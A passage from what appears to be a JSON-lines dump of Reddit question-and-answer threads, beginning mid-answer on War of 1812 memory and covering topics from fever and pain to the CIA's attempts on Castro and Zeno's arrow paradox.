military service, but with humble citizenship, farming, and familial devotion. \"Our renown,\" they said bluntly, \"is not yours.\"\n\nThe other example is, I think, more amusing, but it reinforces the same struggle over the context of actions in regard to their posterity. After the Battle of Tippecanoe, Colonel John P. Boyd sent a report that was later published, in which he argued that (despite the victory), the militia's ill-discipline and cowardice cost the army a number of valiant soldiers. He described militia running from the lines, hiding under wagons, and generally making a chaotic battle much, much worse. \n\nA few militiamen took exception, especially the printer of the local Indiana newspaper, *The Western Sun*, Elihu Stout. Stout published a counter-account, and savagely mocked Boyd's claims of valor:\n\n >   Should there be a second expedition against the Indians, the Man, who by his personal skill and bravery decided the action of the 7th November, and took with his own hands the war club of their great warrior, the magic cup of the Prophet, and the scalp of a Chief, together with a number of other acts of bravery not necessary here to mention, but which will forever immortalize the *HERO.*\n\nBoyd *also* took exception, and allegedly showed up at the office of the *Sun* to confront Stout, who then colorfully described the altercation, outlining the assault in explicitly regular vs. militia terms. It has been argued that this entire affair, the accounts and counter-accounts, the assault and its caricature printed in the paper, was at the heart of a struggle over the reputation of William Henry Harrison, the governor of the Indiana territory (and by extension the commander of the state militia), and his political opponents in Washington, who in this example were represented by the blue-coated regular soldiers, shown to act in the way that whiggish fears had always assumed: heavily armed thugs using force to project their authority over virtuous citizens, represented by Stout, the humble printer.\n\nMemory has always been weaponized, has been turned into barbs and shackles for contemporary use by those with a purpose. Politicizing events is just as pervasive as taking history and turning it into marketing-friendly films or popular histories. It's not necessarily bad, but it should be something that we should be aware of. With enough work, historians can lever out the articles of history that have been so strongly associated with political goals, and can tell a more nuanced version of events that *may* work its way into the popular understanding. I think that is part of what it happening with historical monuments of the confederacy: enough work has been done to tear away the veneer of \"lost cause\" mythology that their monuments are no longer popularly valid.\n\nHistory is and will always be a battleground, and that is just part of why the study of history is so vitally important.\n\n_________________________________________\nLuckily, you can read a lot of these primary sources entirely online. Smyth's documents, as well as the letters from Snyder and Dearborn, are in [*The Documentary History of the Niagara Campaign*](_URL_0_). THis links to volume 2, but the letters between Snyder and Dearborn are in Volume I, which you can get to by clicking the link on the top left that says \"view full cartalogue record.\"\n\nThe Stout/Boyd controversey is similarly digitized, in editions of [*The Western Sun*](_URL_1_), starting with the issue of December 4th, 1811."]}, "title_urls": [], "selftext_urls": ["http://www.bbc.co.uk/news/uk-england-bristol-39718149"], "answers_urls": [[], ["https://babel.hathitrust.org/cgi/pt?id=aeu.ark:/13960/t4th8tz7d;view=1up;seq=30", "https://newspapers.library.in.gov/cgi-bin/indiana?a=cl&amp;cl=CL1&amp;sp=WS&amp;e=-------en-20--1-byDA-txt-txIN-cancer------"]]}
{"q_id": "7h2i0q", "title": "whats the difference between a cupcake and a muffin?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7h2i0q/eli5_whats_the_difference_between_a_cupcake_and_a/", "answers": {"a_id": ["dqnl36x"], "score": [3], "text": ["A cupcake top is flat and covered in icing and decorations. A muffin is shaped like a mushroom because of leavening, and usually doesn't have icing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "24qu5a", "title": "Why did the US fail to kill Castro so many times? Wouldn't it have been relatively easy for the CIA to pull such an assassination off?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24qu5a/why_did_the_us_fail_to_kill_castro_so_many_times/", "answers": {"a_id": ["cha4119", "cha6ay7", "cha74rz"], "score": [166, 15, 14], "text": ["There's a big gap between how TV, movies, and books portray the CIA (where it's handy to have a super-competent, mysterious enemy for the protagonists to struggle against) and the historical realities. The CIA was only founded in 1947, with direct antecedents only going back another few years. It was still very young in the 1950s to 1970s, growing and changing bureaucratically, gaining and losing influence depending on the Director and the current President, and trying out new types of activities (not just spying, but performing covert ops). \n\nThe early success in the Iran coup gave them a lot of confidence, but probably a lot more than it should have, as there were a lot of extraneous factors that happened to line up to make that mission a 'success,' and covert ops entered the toolbox of presidents who wanted to accomplish something while maintaining deniability. Unfortunately, not very many of them went that well, in hindsight, and the Castro assassination attempts are just a few among many.\n\nThere were no professional assassins in the CIA (maybe today, though I doubt it, but certainly not then), and very little to no institutional or personal experience in managing such an operation. To their credit, the CIA recognized this and tried to contract the Castro assassinations out to the 'experts' - the mob - but that didn't work out (and is a leading theory among more historically minded JFK conspiracy types for why the mob would assassinate him eventually). At that point, they were in a situation a lot like you would be if someone gave you a lot of money and asked you to manage the assassination of a foreign leader. Where do you start? Who's going to do the killing, while maintaining deniability? Where do you even go for a competent, quiet assassin? So, they tried bribing people, and sneaking poison into food, and going for technological solutions like putting explosives in a conch shell (Castro loved diving), but it's not that surprising that these fairly amateurish attempts failed, really. Meanwhile, a lot of really smart and stubborn guys in charge were getting frustrated that they'd failed and more and more wanted to make it happen, the culmination of which was the disastrous Bay of Pigs, which was not even remotely secret and had little chance for success by the start date, but bureaucratic inertia seems to have carried it onward.\n\nAt any point the US could have dropped bombs or sent in the Marines, but that would defeat the whole point of using covert ops.\n\nSources: Andrew, For the President's Eyes Only; Richelson, Wizards of Langley\n", "I hate to just list a source, but I lost my copy of this in a flood.\n\n[Psywar On Cuba](_URL_1_) has a ton of declassified documents on the anti-Communist operations of the CIA.\n\nLike the hundreds of schemes for killing Castro, there were a lot to try to destabilize Cuba. There were ideas that dosing Castro with a drug that would make his beard fall off would cause an uprising. Plans to give him LSD before a radio address, making him sound crazy. Plans to surface a nuclear submarine off the coast of Havana and lighting off fireworks, making the Cubans think Jesus had returned and overthrowing the secular Castro regime, and more. I think most of these were never attempted, but they're interesting to read regardless.\n\nI think comparing these wild attempts with what happened in Guatemala in 1954 is a good idea as well. [CIA declassified files](_URL_0_) outline the operation pretty clearly: basically, pretend a huge uprising was under way using a clandestine radio station to announce the mythical invasion and scare away the leadership while a small decoy army (according to the document, 260 men) marched across the borders. Arbenz fled soon after the coup began and the land reforms he had begun were reversed.", "In addition to what /u/Cal_history has to say:\n\nThe Intelligence Directorate, or DGI as it was known, is Cuba's equivalent to the CIA. The organization was well trained by the Soviets and had much experience operating abroad, in Panama, Angola, Grenada, etc. Cuba served as a major communications intercept site for the Soviets and succeeded in intercepting large amounts of U.S. government and military transmissions. \n\nIn addition, the DGI succeeded and still succeeds in infiltrating various U.S. government agencies and Cuban exile groups. An example - Ana Montes, a senior Cuban Analyst for the Defense Intelligence Agency was convicted in 2002 for committing espionage for nearly 30 years. [source](_URL_0_). The man who investigated her case, claims that she is just the surface of Cuban penetration into the US Government.\n\nBasically, numerous USG operations against Cuba have been compromised by moles operating out of the U.S., either for Cuba or the Soviets. The Bay of Pigs is one particularly striking example of this. \n\nFor more, check out Clarridge's *A Spy for All Seasons* and Weiner's *Legacy of Ashes*. Should be noted that the former is the memoir of a disgraced CIA employee, so grain of salt and everything."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.foia.cia.gov/sites/default/files/document_conversions/89801/DOC_0000919933.pdf", "http://www.amazon.com/Psywar-Cuba-Declassified-Anti-Castro-Propaganda/dp/1876175095"], ["http://www.washingtontimes.com/news/2007/mar/14/20070314-110701-3092r/"]]}
{"q_id": "bvbc8c", "title": "what makes pain differentiate into various sensations such as shooting, stabbing, throbbing, aching, sharp, dull, etc?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bvbc8c/eli5_what_makes_pain_differentiate_into_various/", "answers": {"a_id": ["epou3hn", "epoyag8", "epoyr9y", "epq0405", "epnu51e"], "score": [123, 2, 5, 2, 3452], "text": ["So there are a couple of elements to this question, we\u2019ll break it down\u2026\n\n & #x200B;\n\nThe way you feel, think, smell, taste, hear and sense the world is through your nervous system.  You can literally think of yourself as the nervous system which is just contained inside of a vessel that is the rest of your body.  Broadly, your nervous system is made up of your brain and spinal cord, and every other nerve that reaches out to the rest of your body. \n\n & #x200B;\n\nFirst let\u2019s talk about your sense of touch...Lets say you touch a sharp pencil with your finger, the reason you felt that sharp point is because a nerve got activated on your Right thumb, which activated a nearby nerve, which activated another nerve next to that one and that process repeats with nerves all the way through your arm, shoulder until it gets to your spinal cord.  Then from the spinal cord, more nerves get activated that spread to your brain.  When it reaches your brain, your brain interprets this information along with a bunch of other \u201cdata\u201d it has at its disposal until it reaches the conclusion that you touched something sharp with your right thumb.  \n\n & #x200B;\n\nNext the VERY ELI5 of the way nerves work... you can think about each nerve as being a tube with 2 ends.  The 1st end where chemicals interact with and the second end where it releases chemicals.  Now its important to note that the inside of the tube (nerve cell) has more negative chemicals in it, and the outside of the tube has more positive chemicals.  Now, the 1st end of the tube is COVERED with A LOT of sensors.  These sensors can be activated by mechanical (getting punched in the face), changes in temperature (burning your hand), or by different chemicals (think putting salt on an open wound).  When these sensors are activated in the beginning of the tube by either a big pressure, temperature of chemical change, they open up and let in a lot of positive chemicals into the tube tube in that specific area of the tube.  The cool part is that in the middle of the tube, there are a lot of sensors that  get activated because of these positive chemicals.  So it becomes an unstoppable cycle of sensors opening up, and more positive chemicals coming into the tube (nerve cell), and then the adjacent sensors opening up again, and letting more positive chemicals in.  When the sensors on the END of the nerve get activated, they release chemicals to the outside of the nerve, that activate the sensors in the next nerve and the process keeps going!  Each nerve activates the one next to it until it reaches the spinal cord and then the brain for interpretation.  \n\n & #x200B;\n\nThere are also different nerves that specialize in different sensations and are more prone to activate with different stimuli.  A nerve can be specialized in temperature, chemical or pressure changes. So depending on which nerve gets activated, how many nerves get activated, and the time it takes for them to get activated will make your brain (and you) experience something different.  So you touching the point of a pencil will activate a smaller number of pressure nerves in that area.  But when you get punched in the arm, there will be swelling that occurs also, and with swelling your body brings other healing chemicals that activate nerves in a different way which will make your brain interpret the sensation differently (like an ache).  \n\n & #x200B;\n\nAs a quick aside, pain is complicated and just because something hurts doesn\u2019t mean that part of your body is damaged or injured, especially if there was no trauma (think about waking up with an achy back in the morning sometimes or even getting pinched).  And just because you dont have any pain after a trauma, doesn\u2019t mean you dont have any tissue damage (think veterans discovering they have a bullet in their head 20 years after being in war). But all of that may be more ELI25 kinda stuff. If anyone wants to know more about how pain works in a more complicated way, let me know!", "The site (superficial/deep and actual site) of the pain and the cause of the pain.\nVery simplistically, if the pain occurs deep inside the body, where there are no typical pain fibres, the sensory fibres take pain to spinal cord, after which the brain perceives it with relation to the closest 'actual' pain fibre coming from the superficial areas of skin, so it'll be perceived in an 'indirect' way, and be dull, and seem to appear wherever the brain perceived it to be superficially, so it'll be 'referred', eg. How heart attack pain seems to not only appear over the chest, but also over upper tummy, jaw, neck, and left arm or how liver things can sometimes cause referred pain of upper right shoulder. Superficial things (pleural/peritoneal injuries, or skin injuries) cause 'direct' perception, and sharp and correctly localised pain, \nThen there's the site and type of damage. And that's usually specific and can not be generalised, so a bunch of different things cause different types of pain. Eg. Anytning (rock for eg) impacted in a tube (intestine/ureters/bile duct) cause 'colicky' pain, a kind of pain that comes and goes, heart attack causes 'crushing' pain, trigeminal neuralgia causes 'lancinating pain', other things cause a few other types.\nUsually when describing pain, the intensity and character of it are told separately, and within character, dull/Sharp is usually a broad classification said which isn't sufficient, and then further descriptors like' colicky/crushing/lancinating' are used.\n\nEdit.\nTldr, how deep/ superficial pain is, and what exactly is causing the pain, defines the exact character of pain.\nSource, myself, final year medical student.", "There are :\n1.Different receptors based on what kind of pain you experience.\n2. Different nerve fibers propagating the sensations with different speeds.\n3. Different area of brain which gets stimulated on the basis of pain.\n\nExample: You touch an extremely hot pan, your free nerve endings will get stimulated via A delta fibres which will register it as *fast pain* because the sensation is felt within 0.1 seconds of stimulus. This sensation is then carried via lateral spinothalamic tract where it crosses it to the opposite side of spinal cord and stimulates your somesthetic area of brain.", "What if i told you that none of this is objectively real?\n\n What you see as reality, is just your brain constructing the experience of an external and internal world by interpreting data signals from its senses combining with the internal structure of itself in a feedback loop.\n\nSo the different kinds of pain you feel are coming from different stimulated nerve cells based on the nature of the damage or pressure which produces a variety of different data that is interpreted differently generating a different perceived experience.", "How big the area causing the pain is, plus the method of damage of the tissue e.g. are the cells too hot, or physically cut, and therefore which types of nerve cells are stimulated (e.g. A-d fibres can be stimulated by mechanical or thermal stimuli, or C fibres which can be mechanical, thermal or chemical).\n\nSome nerve fibres have special coatings (myelination) which allows the signal to travel faster e.g. A-d pain fibres"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "44xcji", "title": "why battery charge is called \"juice\"?", "selftext": "Why battery charge is called \"juice\", btw? Why not \"liquor\" or \"soda\", but \"juice\"?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44xcji/eli5_why_battery_charge_is_called_juice/", "answers": {"a_id": ["cztjt9v"], "score": [4], "text": ["I tried and look for an origination point for that usage of the word, but it isn't the easiest thing to look for.\n\nSo here are the main reasonings for this usage:\n\n1. Juice, such as lemon juice, can actually be used to make a battery as it is a sufficient electrolyte. \n\n2. Juice, being a high sugar drink with, usually, vitamins and other nutrients, is known to give people 'energy' and pep, batteries have energy, thus the colloquial connection.\n\nInterestingly, juice meant, way back in 1630 [to enliven](_URL_0_), and electricity, like from a battery, can be seen to 'enliven' something it is powering."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.etymonline.com/index.php?term=juice"]]}
{"q_id": "bt1w39", "title": "if the human body uses fever to kill infections, why can\u2019t a limb be heated up, say, in a container of water, to eliminate an infection?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bt1w39/eli5_if_the_human_body_uses_fever_to_kill/", "answers": {"a_id": ["eot1wn5", "eot5wka", "eot68yb", "eot73he", "eot7qwn", "eotorh0", "eotqitx", "eotszlp", "eotv0nt", "eotvkeb", "eotw9st", "eotwkl9", "eotwl25", "eou01m9", "eou0kz7", "eou7p8p", "eougf5g"], "score": [23, 2, 3, 3089, 144, 212, 351, 51, 2, 6, 2, 4, 9, 10, 5, 2, 2], "text": ["Wow, there are some... Interesting answers here. The heat doesn't kill bacteria/viruses/fungi/whatever is infecting you, it just makes your body less hospitable to growth. For example, if you were trying to... umm... reproduce (this may not be appropriate for 5 year olds) would you rather do it in a nice, cool room, or a room with the heater turned all the way up in the middle of summer? This isn't a perfect example, but you would definitely be happier in an air conditioned room. In order to get to temperature that would be killing bacteria, you'd also be killing you.", "Well, it's not really the best way and the benefits aren't really worth the hassle, but you can do it and it would help.", "In theory, I don't see why this couldn't work; as /u/GoBlue81 has pointed out, the heat would make your body less hospitable for bacteria. However, in practice it is not particularly useful for two reasons:\n\n* Most localized infections in a limb are caused by bacteria, which are generally treatable with antibiotics. Antibiotics certainly aren't perfect but will probably be much more effective than this technique.\n* Keeping a limb immersed in water would interfere with proper wound care, which often involves keeping the wound dry.\n\nI also suspect that by the time you have an infection bad enough to get you in the hospital, heating a limb will not be sufficient to eradicate it (unless you heat it to an extent that it destroys the human tissue as well).", "For one thing, that would only heat up the external temperature.  Your body is actually designed to prevent any external temperatures from impacting your internal temperature.  It will do everything it can to fight any temperature changes coming from the outside like that.  \n\n\nAlso, you can't just heat up one limb.  That won't work.  The body is filled with fluids, especially blood and the blood is constantly circulating.  Any temperature changes for the most part are body wide.  In extreme casts you can't do locatlized temperature changes like frostbite, but those also cause damage, often permanently, to the tissue.  It takes something that extreme for normal bloodflow to not spread it out.  It's how you can walk around in (not too severe) winter with a coat and hat and not freeze in spite of not having winter gear covering every inch of you.", "A fever doesn't kill an infection, it just makes your body slightly less hospitable while your immune system does the real ground work. There's no temperature that could kill a pathogen that wouldn't also cook you alive, so putting a limb in a hot tub isn't going to do anything. A fever is also an increase in your core body temperature, it's not specific to a localized area. \n\nWe have antibiotics, antifungals, and other medications to treat infections, and they largely work as intended. There's no reason not to use them when applicable and instead try some other silly roundabout method.", "it's been tried, with dubious efficacy. part of the problem is that the body will spend valuable resources fight overheating if its not feverish.\n\nalso, fevers are kind of the nuclear option. everything about a fever that's bad for an infection is also bad for your own cells, the bet is just that most of you will still be alive when the intruders are dead.", "Your body actually can create a \"localized fever.\" If you've ever had a tooth abscess, or a bite or scratch that got infected, you'll notice that particular area is warmer than the rest of your body. I know that doesn't specifically answer your question, but I thought you'd appreciate knowing our bodies *do* do that thing you're thinking of.\n\nEDIT: I've been corrected. It's not appropriate to think of the localized heat as a \"fever.\" u/glorioussideboob and u/purpelpeeleeater did a good job of explaining this in their comments.", "Theres a few reasons why we dont do this\n\n1: The bloodstream circulates heat, thus bringing the heat from said limb to the whole body.\n\n2: The temperature needed to actually kill bacteria is also above what our bodies can handle. The bacteria are weakened by a fever but dont die from it. We are also weakened by a fever and sometimes the fever does kill people, especially children by essentially baking the brain. Our immune system is what kills the bacteria.", "[Some fish actually swim towards warmer water regions when they\u2019re sick to simulate fever as their body temperature depends on the water temperature.](_URL_0_)", "DISCLAIMER: Not a doctor, I just get infections A LOT\n\nWhile everyone is correct about how you cant heat just one limb etc etc you can apply heat to minor skin infections to kick the bug. A pimple, a very minor stye in your eye etc. And, fun fact, mosquito bites! The stuff that makes you itch (which is in essence their spit) can be broken down with heat! \n\nSo next time you have an infected hangnail or something take a paper towel, get it damp but not dripping, pop it in a ziplock baggie and nuke it in the microwave for just 5-10 seconds till it's hot as you can stand that wont burn you. (Not burning yourself is important here.) And then hold it on the infection till the towel cools. Rinse repeat 3-4 times a day till the infection passes. **If this doesnt work after a few days and/or it's getting worse, hot to the touch all the time, super swollen etc go to the damn doctor. Even uninsured going to the doctor is WAY cheaper than going to the ER cause you've gone septic**", "The heat is not the cause of the infection going away, it is a symptom, just like the stuffy nose, body aches, etc. Its a side effect of the heightened immune response your body is producing. While the added heat may be beneficial in fighting infection, it isnt the driving force behind your body's first line of defense, which are, generally speaking, macrophages, or big white blood cells that eat pathogens (germs) and spit out parts of their DNA so that other macrophages know which organisms to target, since humans are FULL of bacteria. You're so muc smaller than your cells that you likely contain more bacteria than human cells.", "That's actually being used right now to treat some cancers. My mom once told me that one treatment for some kind of stomach cancer is filling the abdominal cavity with 42\u00b0 C water for 1,5 hours. \n\nWhen I originally heard about it I was pretty much like hey is that not going to kill everything in there, to which she answered basically yes.", "Technically, it is possible and has been extensively studied as a potential, though ultimately not very effective, treatment for cancer _URL_0_. Besides external heat, it is also possible to heat the blood outside of the body and then flood an affected limb with hot blood.\n\nThe other answers here are correct, regarding the very high effectiveness of todays anti-infectiveness and potential minor benefits of additional hyperthermia not weighing out patient discomfort. In another way to look at the issue, several studies have shown that drugs supposed to lower fever and pain like aspirin, acetaminophen and ibuprofen may lead to longer duration of infection and you may get rid of your bug faster without using them. Note that this medication may still be indicated for small children and adults with cardiac or pulmonary preconditions.", "Something I haven't seen mentioned yet is it's not the increased body temperature that fights off the infection.  The body's response to the infection causes increased body temperature as a ~side effect, doesn't necessarily go the other way.", "You can ..... if you have a skin infection putting hot compress heats the infection up from the outside and breaks the infection down", "Afaik human body does not use fever to kill infections, but fever is a side effect of your body's immunity system being on overdrive. Fever itself has no direct function when it comes to fighting infections. If your body was hot enough to destroy bacteria/viruses, it certainly would be hot enough to destroy its own cells as well.", "This is what we do to food. We cook it to get rid of pathogens. You are talking about cooking your limbs.\n\nYour blood acts as a cooling system just as much as it acts as a way to warm us. The body works hard to keep it at a certain temperature, and will dilate blood vessels to get blood closer to the surface of other areas that will help it cool (think flushing face/red ears), or construct to keep more blood in your core, so you end up with freezing cold feet that never seem to warm up at bedtime in winter.\n\nSince your body is constantly regulating your blood temperature this way, it would take a lot of time to warm a limb this way, and only if the ambient temperature was fairly high. Plus you would heat the rest of your body up as well, which would essentially be the same as giving yourself heat stroke."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4912592/"], [], [], [], ["https://www.cancer.gov/about-cancer/treatment/types/surgery/hyperthermia-fact-sheet"], [], [], [], []]}
{"q_id": "z6tz9", "title": "How does the mars Curiosity rover keep its camera lens clean?", "selftext": "In every picture it looks like the rest of the rover is covered in mars dust.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z6tz9/how_does_the_mars_curiosity_rover_keep_its_camera/", "answers": {"a_id": ["c61za85", "c61zucg", "c6228ew", "c622ezz", "c624b7t", "c624dd7", "c62cte3"], "score": [125, 62, 6, 29, 9, 3, 2], "text": ["During the descent there were (transparent) covers to protect the lenses from dust. I don't know if there's any other system in place to keep them clean.", "They talked a little about this at the first press conference right after landing.\n\nIt turns out they didn't have much trouble with dust buildup on camera lenses with Spirit and Opportunity. As Curiosity is even higher off the ground, it's even less of a problem.", "Well, dust kind of needs something to help it bind, like oil or liquid, both of which I would assume are not present on the lens. I could be wrong....", "Is there any chance Curiosity will visit the Rovers on Mars? \n\nAlso, would it at all be capable of cleaning the solar panels on the Rovers to make them fully functional again?\n", "There were clear covers over the lenses so that it could take preliminary shots with varying quality depending on dust build up (during the decent, upon landing, etc), and then they popped them off after they knew the dust had settled, revealing a clear lens.", "I cant find the video at the moment - but one of the first videos after the landing of Curiosity, NASA explained that on at least one of the cameras is a lens cover that can be lifted and lowered.  ", "There is probably some dust on the lens of the mars rover but you will never see it because of how lenses work. Take a look at your cell phone camera, theres probably dirt on it but if you were to take a picture you wouldnt notice it. Why? Because the focal length (whats being focused on) is not at 0, thus the dirt is SO out of focus its not even seen.\n\nSource: photographer for 7 years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "28gos1", "title": "does this mean i could start making my own redskins t-shirts and they couldn't stop me?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28gos1/eli5_does_this_mean_i_could_start_making_my_own/", "answers": {"a_id": ["ciaqqka", "ciay7yh", "cib41z0"], "score": [46, 6, 21], "text": ["Not really. The company can still sue you as protection of their intellectual property, a registered trademark just makes it easier to defend. Since the Redskins have been using their trademarks for a long time and are well-known as the owners it SHOULD be an easy win for them, though that really depends on the courts.", " >  The Patent Office will continue to treat the trademark registrations as though they are valid during the appeals process, according to a spokesperson.\n\nBased on that alone, no. Once the appeals process is finished, then maybe it would be more difficult for them to stop you, but until then today's decision doesn't change anything.", "Even if you could, I'm not sure anyone wants to buy a product from \"semen_hurricane\"."]}, "title_urls": [], "selftext_urls": ["http://money.cnn.com/2014/06/18/news/companies/patent-office-redskins/index.html"], "answers_urls": [[], [], []]}
{"q_id": "6px9e5", "title": "Most Communists were anti-colony, but what did they want to do with them?", "selftext": "This question is specifically about the French communists, I know that they were vehemently anti-colonialism (going so far as to make a counter exhibition during the French Colonial Exhibition) but what was their plan if they came to power? Did the wish to make a sort of USSR, keep the existing colonies, or give them independence/dominion? If you can't answer for the French what about the British or Germans?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6px9e5/most_communists_were_anticolony_but_what_did_they/", "answers": {"a_id": ["dktedts"], "score": [43], "text": ["Unfortunately I don't have the time to write a longer and fuller answer, but I will reference a previous related answer on British anticolonialism I wrote [here](_URL_0_) which outlines the ideological underpinnings of anti imperialism in the CPGB. \n\nIn Britain at least, it's difficult to pin down a coherent response owing to changing circumstances and, more importantly, the different opinions of various individuals who made up the Communist Party of Great Britain. Generally, communists supported immediate and full decolonisation on the understanding that decolonised polities would undergo proletarian revolution owing to their struggle against the imperialist system which, as u/RevMLM notes, was seen as inexorably and inseparably linked to the capitalist system oppressing the proletariat in Britain. Decolonisation was a means of, or even a necessary step in weakening imperialism and hence bolstered the chance of revolution \"at home.\" Once the British Empire had been dismantled, Britain would undergo revolution and then unite in brotherly commonality with former colonies as an equal partner as they strove toward communism. \n\nTo answer what would have happened if they came to power I think is a very difficult question to ask and risks drifting into counterfactual. I have found nothing in the CPGB archives amounting to a coherent and workable policy for the colonies in the event of seizing power aside from commitments to ensure full and complete national liberation. The reality is that if any colonial power was to undergo a communist revolution, any colonial policy one way or the other would likely be a moot point as the imperial state would have been dismantled from the centre and it is very difficult to see how any communist party would be able to exert control in the former imperial colonies one way or the other. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3p99ra/how_did_facets_of_the_british_society_reacted_to/"]]}
{"q_id": "6exfe5", "title": "what is the difference between programs like after effects, premiere and sony vegas?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6exfe5/eli5_what_is_the_difference_between_programs_like/", "answers": {"a_id": ["die0xef"], "score": [3], "text": ["Premiere and Sony Vegas are both nonlinear video editors. This means that they both use a timeline with multiple video and audio \"tracks\", where you can drag and drop individual clips, arrange them, stitch them together, to make a video. Premiere is made by Adobe, while Vegas was made by Sony (now Magix).\n\nAfter Effects is a special effects program, intended for post processing. It is mostly used to add custom keyframe animations to videos, and can add post processing effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bujc30", "title": "what was the rampart scandal?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bujc30/eli5_what_was_the_rampart_scandal/", "answers": {"a_id": ["epcyui5", "epd5gh1"], "score": [2, 9], "text": ["In short, actor Woody Harrelson did a \"AMA\" on reddit several years ago, to promote his new film Rampart, but hadn't been briefed that it meant \"Ask Me Anything\" and got frustrated at people bringing up other topics beyond his upcoming film, trying to get people to stick to that one topic.\n\nIt is considered the worst celebrity AMA.", "In the late 90s the Rampart division of the LAPD put together an elite task force to focus on the street gangs. The goal was to reduce the crimes, violence and drugs in the slums. It was later discovered that this task force had been badly mismanaged. The police officers were encouraged to take down the gangsters by any means necessary. Even if this meant planting evidence, lying in court, working for rival gangs or even just assassinating the gangsters on the street. Many of the police officers became integrated into the street gangs working for them and for their own personal gains more then for the public. For example in one case an undercover officer had a chance encounter with an off duty officer in the same task force and mistaking him for a gang member shot the off duty officer to death on the street. In another case an officer planned and executed a bank robbery allegedly to pay his debt to a hitman he had hired to kill two rappers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2v7bcp", "title": "Has the majority of the British/English population mostly been replaced/mixed or adopted other cultures throughout history.", "selftext": "There has been many foreign invasions onto the British isles throughout history (Roman, Anglo-Saxon, Normand). Did this in practice mean that the populations that lived there before the Romans were largely replaced by the different waves of invasions and migrations? Did the groups mix to such a degree that most modern Englishmen has an equal amount of Brytons, Angles, Saxons and Normans in their ancestry? Or has the bulk of the population largely remained the same with a minority of ethnic groups mostly changing the culture of original inhabitants?\n\nAdditionally, how does ancestry differ across class? I suppose most nobility/upper class people have mostly Norman ancestry, but does the middle class have mostly Anglo-Saxon ancestry with rural or lower class people having mostly Brytonic ancestry? Is the majority of non-upper class population mostly mixed?\n\nThanks in advance.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2v7bcp/has_the_majority_of_the_britishenglish_population/", "answers": {"a_id": ["cof4hmb"], "score": [5], "text": ["Geneticist Stephen Oppenheimer [finds](_URL_0_) that \"The genetic evidence shows that three quarters of our ancestors came to this corner of Europe as hunter-gatherers, between 15,000 and 7,500 years ago\". Most current opinion agrees that the Roman and post-Roman invasions were not 'replacement level' invasions on the population level.\n\nRegarding ancestry by class, it's an interesting question, but I don't know the answer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.prospectmagazine.co.uk/features/mythsofbritishancestry"]]}
{"q_id": "26819g", "title": "the arrow paradox", "selftext": "I read an interesting thing on Wikipedia about this thing called the Arrow Paradox, which somehow said motion was impossible. Would someone be kind enough to explain it? I really like these kinds of things.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26819g/eli5_the_arrow_paradox/", "answers": {"a_id": ["choikkn", "choiogt", "choipd2", "chorf1d"], "score": [16, 8, 2, 7], "text": ["If everything is motionless at every instant, and time is entirely composed of instants, then motion is impossible.", "Sounds like one of Zeno's paradoxes. The argument being to get from point A to B, you have to get half way there first. Label that point C. Now to get from A to C, you have to get half way there, so you label the midpoint D. This process can be theoretically repeated an infinite number of times, thus movement requires crossing an infinite number of points which would be impossible. However, the counter is that as the number of points approaches infinity, the distance between points approaches 0 and thus the time to traverse approaches 0.", "It's making an argument of motion in an instant versus moments over time. \n\nIf you take a picture of an arrow flying through the air, you would say that in the picture it is motionless - so at that moment in the air and for that moment only it is not moving. The next picture you will have shows the arrow in another location, yet you don't have anything showing motion in that picture either. The third picture will repeat the same pattern.\n\nSo we see zero motion in any of these pictures. That is, in the moments that we have the pictures we are seeing the arrow as motionless and in the space that it occupies. Each of the pictures depict the arrow occupying different space, but no motion. \n\nSo if all objects abide by this rule that in instants they are not moving, and the time elapses for each object, then nothing moves. \n\nI.e. the arrow never shows motion in any pictures. When I walk, none of the pictures show motion. The instants have zero motion and time is only a sequence of instants which present zero motion, yet here we are and things move.\n\nParadox: all instances are void of motion, yet we have motion", "The resolution has to do with how to correctly deal with infinitesimals, i.e. infinitely small amounts. If you've done differentiation then you've dealt with infinitesimals before (they can be a bit tricky). That maths wasn't developed until a while after the paradox was proposed, but that was how the paradox was resolved. The resolution is that an infinite amount of infinitesimals makes up a finite amount - so the arrow can pass through an infinite number of positions in a finite amount of time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
